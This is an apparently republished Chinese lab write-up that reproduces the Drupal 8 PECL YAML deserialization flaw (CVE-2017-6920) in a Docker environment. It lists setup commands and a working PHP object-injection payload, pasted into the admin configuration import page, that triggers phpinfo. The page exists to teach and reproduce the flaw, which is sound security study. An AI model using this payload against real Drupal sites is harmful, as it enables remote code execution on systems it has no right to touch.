<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Drupal Core 8 PECL YAML 反序列化任意代碼執行漏洞(CVE-2017-6920)

    Path drupal/CVE-2017-6920

    影響軟件:Drupal
    方式:反序列化
    參考鏈接:CVE-2017-6920:Drupal遠程代碼執行漏洞分析及POC構造
    效果:任意代碼執行

    漏洞環境

    執行如下命令啟動 drupal 8.3.0 的環境:

    dockr-compose up -d

    環境啟動后,訪問 http://your-ip:8080/ 將會看到drupal的安裝頁面,一路默認配置下一步安裝。因為沒有mysql環境,所以安裝的時候可以選擇sqlite數據庫。
    漏洞復現

    先安裝 yaml 擴展

    換鏡像源,默認帶vim編輯器,所以用cat換源,可以換成自己喜歡的源

    cat > sources.list << EOF
    deb http://mirrors.163.com/debian/ jessie main non-free contrib
    deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
    deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
    deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
    deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
    deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
    deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
    deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
    EOF

    安裝依賴

    apt update
    apt-get -y install gcc make autoconf libc-dev pkg-config
    apt-get -y install libyaml-dev

    安裝yaml擴展

    pecl install yaml
    docker-php-ext-enable yaml.so

    啟用 yaml.decode_php 否則無法復現成功

    echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini

    退出容器

    exit

    重啟容器,CONTAINER換成自己的容器ID

    docker restart CONTAINER

    1.登錄一個管理員賬號
    2.訪問 http://127.0.0.1:8080/admin/config/development/configuration/single/import
    3.如下圖所示,Configuration type 選擇 Simple configuration,Configuration name 任意填寫,Paste your configuration here 中填寫PoC如下:

    !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

    1

    • 4.點擊 Import 后可以看到漏洞觸發成功,彈出 phpinfo 頁面。

    2

    • Tips:
      • 雖然官方 CPE 信息顯示從 8.0.0 開始就有該漏洞,但是在 drupal:8.0.0 容器內并沒有復現成功,相同操作在 drupal:8.3.0 則可以復現成功,故基礎鏡像選擇drupal:8.3.0

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类